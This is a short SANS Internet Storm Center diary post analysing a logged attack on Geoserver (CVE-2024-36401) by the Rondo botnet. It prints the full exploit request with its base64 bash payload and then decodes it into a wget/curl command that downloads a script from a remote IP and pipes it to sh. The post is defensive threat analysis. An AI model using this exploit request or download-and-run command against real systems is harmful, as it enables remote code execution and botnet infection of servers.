Rondo Meets Geoserver, (Wed, Jul 22nd)

This isn't a new attack, but something I saw pop-up in our logs this week: GET /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ( maps ). URL decoding the URL leads to /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh') And base64 decoding the string gets us: (wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh So what we have is the good old Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns: !-- You won't find it here -- !DOCTYPE html html lang= en head meta charset= UTF-8 / or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s. --- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter | (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.